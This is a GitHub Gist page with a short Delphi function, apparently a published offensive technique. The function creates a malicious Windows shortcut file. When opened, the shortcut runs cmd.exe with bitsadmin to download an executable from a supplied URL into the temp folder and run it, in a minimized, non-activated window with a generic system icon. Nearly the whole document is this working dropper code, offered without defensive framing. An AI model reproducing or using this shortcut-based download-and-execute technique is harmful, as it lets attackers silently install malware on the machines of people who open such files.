Created
May 10, 2018 17:30
-
-
Save DarkCoderSc/1952acb687ba57273ae948a5cda0e833 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
uses ActiveX, ShlObj, ComObj; | |
// ... | |
function MaliciousLnk(fileUrl, destFile : String) : Boolean; | |
var cObject : IUnknown; | |
shellLink : IShellLink; | |
PFile : IPersistFile; | |
LinkName : string; | |
Cmd : String; | |
begin | |
result := false; | |
CoInitialize(nil); | |
try | |
cObject := CreateComObject(CLSID_ShellLink); | |
shellLink := cObject as IShellLink; | |
PFile := cObject as IPersistFile; | |
Cmd := '/C "c:\windows\system32\bitsadmin.exe /transfer downloader /priority normal "' + fileURL + '" %temp%\tmp.exe & %temp%\tmp.exe"'; | |
shellLink.SetDescription('www.phrozen.io'); | |
shellLink.SetPath('cmd.exe'); | |
shellLink.SetArguments(PWideChar(cmd)); | |
shellLink.SetShowCmd(SW_SHOWMINNOACTIVE); | |
shellLink.SetWorkingDirectory('%windir%\system32\'); | |
shellLink.SetIconLocation('shell32.dll', 1); | |
result := PFile.Save(PWideChar(destFile), false) = S_OK; | |
finally | |
CoUninitialize(); | |
end; | |
end; | |
//... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment